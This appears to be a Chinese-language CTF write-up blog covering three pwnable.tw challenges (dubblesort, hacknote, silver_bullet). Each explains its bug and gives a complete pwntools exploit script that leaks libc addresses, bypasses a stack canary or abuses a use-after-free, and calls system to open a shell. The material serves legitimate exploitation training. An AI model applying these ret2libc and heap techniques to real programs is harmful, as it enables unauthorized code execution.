dubblesort
- 漏洞类型: 读入输出型. 格式化. 保护全开
- 利用思路: 泄露libc地址, 覆盖返回地址
首先运行程序, 是个排序程序, 同时发现程序反馈语句中有奇怪的字符
对着这个点看ida内文件. 发现是一个读入输出型结构. 一般来说这类不会直接给明显的漏洞点, 但是我们可以利用这类漏洞泄露栈上的一些信息.
继续看整个程序的逆向代码. 其中sort是冒泡排序函数,没有找到利用点. 利用点应该说是在整个程序的结构中.
它是一个经典的读入输出利用型pwn题. 我们通常通过输入一些特殊的数据来泄露可以利用的信息(通常是地址),然后进一步操作.
这题是保护全开的栈题, 地址受aslr的影响,我们首先尝试read那一步是否可以利用. 那自然我们调试到read调用时,查看字符填充的地址,这里是 0xffffd60c
可以看到栈上有一个地址有点特殊,查看一下发现是libc地址段的地址. 再查看一下需要填充的字符是24个字符, 而泄露地址和libc基地址偏移是0x1b0000
现在我们有libc地址了, 然后开始运用另一个漏洞点,这里涉及到一个点, 因为我们输入数据时格式参数是”%u”, 填入”+” “-“是scanf会忽略输入, 不会覆盖存储位置原来的值. 可以调试实验,这里就不贴了.
因为程序开了canary. 而程序并没有对输入”number”的数量做限制,那基本思路就是在canary处填”+”,然后返回地址填入system函数的地址. 最后填入/bin/sh地址就能getshell了.
- 先发送24个’a’用于泄露libc上的地址.
- 然后个数35, 24个地址单元(0x60大小)的’0’, ‘+’, 和7个比canary大的数,然后是system函数地址,system函数返回地址,bin_sh地址
这里的填充大小需要调试确定. 计算数字到ebp的距离为0x7c,在IDA可以看到numbers和canary的距离为0x60/4 = 24,所以需要先填充24个0,然后输入+非法字符但被视为合法输入不被写到栈上,可以绕过canary保护,然后canary到ebp的距离为0x7c-0x60-4 = 24/4 = 6,再加上覆盖ebp,需要填充比canary大的7个数,然后是system函数地址。
调试到输入number前的scanf,可以发现填入0xffffd5ec,在这里查看ebp和填入位置的偏移距离
放个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| #!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' context.terminal = ['tmux','splitw','-h']
#p = remote('chall.pwnable.tw',10101) p = process('./dubblesort')
elf_libc = ELF('./bc.so.6') got_plt_offset = 0x1b0000
# leak libc address payload_1 = "a"*24 p.recv() p.sendline(payload_1) libc_addr = u32(p.recv()[30:34])-0xa libcbase_addr = libc_addr - got_plt_offset print hex(libc_addr) print hex(libcbase_addr) #print hex(libcbase_addr) #onegadget_addr =0x3a819 + libcbase_addr sys_addr = libcbase_addr + elf_libc.symbols['system'] bin_sh_addr = libcbase_addr + elf_libc.search('/bin/sh').next() print hex(sys_addr) print hex(bin_sh_addr) #gdb.attach(p)
p.sendline('35') p.recv()
for i in range(24): p.sendline('0') p.recv()
p.sendline('+') p.recv()
for i in range(9): p.sendline(str(sys_addr)) p.recv() p.sendline(str(bin_sh_addr)) p.recv()
p.interactive()
|
hacknote
- 漏洞类型: got部分可写,另外保护全开, fastbinattack, haijacking.
- 利用思路: 利用结构体中的指针泄露, fastbin的单链表和相同大小块特性
ida 分析,有add,delete,print 3个主要功能,从add中可以看出一个note 会分配8个字节,前四字节指向print功能所要调用的函数,后四节指向note中的具体内容。
print输出content的内容, 而漏洞点在delete中, uaf. 注意这里先free了content地址的内容,再free了list[i]. 这里的content是一个指针, 容易让人联想到泄露地址.
分析一下漏洞利用的思路, 全局变量list, 放置结构体的堆地址
看一下结构体和content的堆排列.
因为结构体是固定为0x8+0x8=0x10大小的,而free的时候是连着先free content,再free 结构体note的, 所以为了待会能够利用到那个note中的content指针, 我们需要free两次(其实是四个)后将其中一个结构体note的地址分配给content, 所以这里我们不能将content的大小设置为8, 用以构造如下结构实现fastbin attack.
所以基本思路如下:
add 大于0x8的堆块 两次.
先free第一个, 再free第二个(这样就实现了 fastbin[0x10]: note2-> note1)
再次add,这次要0x8的content大小,这样note2的地址分给了新add的note地址,note1的地址分给了content的地址. 这里content我们填入puts的got表地址.
现在可以看出整个结构 1代表note, 2代表content.同时地址都对上了.
然后开始常规操作, print泄露got地址.再次free 2, add, 将计算出system地址和”||sh”,分别填入note节点的第一项和第二项,再调用free,这样按顺序两者将被先后触发. 这里不填/bin/sh是因为4字节会截断字符.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw','-h'] #con=remote("chall.pwnable.tw", 10102) con = process('./hacknote') e=ELF("./hacknote")
elib=ELF("./bc.so.6")
#puts_got=0x804a024 puts_got = e.got["puts"]
printn=0x804862b#start
def addNote(size,content):
con.recvuntil("choice :")
con.sendline("1")
con.recvuntil("size :")
con.sendline(str(size))
con.recvuntil("Content :")
con.sendline(content)
def deleteNote(index):
con.recvuntil("choice :")
con.sendline("2")
con.recvuntil("Index :")
con.sendline(str(index))
def printNote(index):
con.recvuntil("choice :")
con.sendline("3")
con.recvuntil("Index :")
con.sendline(str(index))
def debug(): gdb.attach(con)
addNote(24,24*"a")
addNote(24,24*"a")
deleteNote(0)
deleteNote(1)
addNote(8,p32(printn)+p32(puts_got)) #debug()
printNote(0)
p=con.recv()
puts_addr=u32(p[:4])
d_value=elib.symbols["puts"]-elib.symbols["system"]
sys_addr=puts_addr-d_value
deleteNote(2)
addNote(8,flat([sys_addr,"||sh"]))
printNote(0)
con.interactive()
|
silver_bullet
- 漏洞类型: 没开canary和PIE, 但got表不可写,堆栈不可执行, 栈题, 溢出覆盖返回地址, 改变程序流, null by one.
- 利用思路: 首先还是想法泄露计算出libc基地址, 填入system函数或者onegadget尝试.
乍一看以为是堆题, 运行程序结合代码分析发现有三个主要的函数: create_bullet, power_up, beat.
create_bullet:给出0x30大小的空间, 然后在填入description位置的0xc偏移处填入计算出的字符长度大小.
漏洞点在power_up, 首先这里要绕过的验证时一开始创建字符串的大小不能超过0x2f. 其次再次读入一堆字符, 它和前面计算出的len加起来的和要小于0x30, ( •̀ ω •́ )✧, 这里就来漏洞点了, strncat将读入的字符串接在之前的description,这个函数是会覆盖掉description后面的’\x00’,然后再在最后的位置填入’\x00’, 后面的这个’\x00’正好可以尝试去覆盖掉len,使其变为0,这时候原本我们就可以再次power_up读入不大于0x2f的字符了.
beat函数: 如果能让len+0x30大于0x7fffffff, “就可以让main函数结束”,当然我们不会这样放任它.
好了整体的利用思路如下:
首先明确,原始的栈上的分布是这样的,var4就是ebp.
- 先填入0x2f的大小的字符串.使其能绕过0x2f的验证,当然比这个小也可以.但不要太小,可能会导致后面无法覆盖到
- 在填入0x30减去前面len的长度的字符串,使其末尾的’\x00’正好覆盖掉len.然后len会被赋值当前新填入字符串的长度.
- 伪造len长度使其逃过验证, 并覆盖ebp, ret用puts函数泄露出相关函数got表地址.
- 用计算出的system函数地址和bin_sh地址再次填入获取权限.
这里放一张已经布置好的栈分布图,这里1是len, 2是ebp, 3 是puts函数(但是实际他会偏移4,具体可调试看汇编), 4是返回地址,5是要泄露的函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| #!/usr/bin/env python from pwn import * from time import sleep import sys import argparse context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] context.binary = './silver_bullet'
IP = 'chall.pwnable.tw' PORT = '10103' binary = './silver_bullet'
parser = argparse.ArgumentParser()
parser.add_argument('-d','--debugger', action='store_true') parser.add_argument('-r','--remote', action='store_true') parser.add_argument('-l','--local',action='store_true') args = parser.parse_args()
sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x, drop=True) ru = lambda x : io.recvuntil(x)
def lg(s, addr): print '\033[1;31;40m%30s --> 0x%x\033[0m' % (s, addr)
if args.remote: io = remote(IP, PORT) libc = ELF('./bc.so.6') elf = ELF(binary) elif args.local or args.debugger: #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) libc = ELF('./bc.so.6') #proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] #libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] else: parser.print_help() exit()
def debug(msg=""): #msg = """ # x/10xg 0x{:x} #""".format(proc_base + 0x202080) gdb.attach(io)
def create(content): io.sendlineafter('choice :','1') io.sendlineafter('bullet :',content)
def power(content): io.sendlineafter('choice :','2') io.sendlineafter('bullet :',content)
def beat(): io.sendlineafter('choice :','3')
def exploit():
ret = 0x8048954 puts_plt = elf.plt['puts'] read_got = elf.got['read']
create('a'*0x2f) power('a') payload1 = '\xff'*3 + 'b'*4 payload1 += p32(puts_plt) + p32(ret) + p32(read_got) power(payload1) beat() #debug() io.recvuntil('win !!\n') read_adr = u32(io.recv(4)) print hex(read_adr) libc_base = read_adr - libc.symbols['read'] sys_adr = libc_base + libc.symbols['system'] binsh = libc_base + libc.search('/bin/sh\x00').next() create('a'*0x2f) power('a') payload2 = '\xff'*3 + 'b'*4 payload2 += p32(sys_adr) + p32(ret) + p32(binsh) power(payload2) beat() io.interactive()
if __name__ == "__main__": exploit()
|
applestore(先放着…)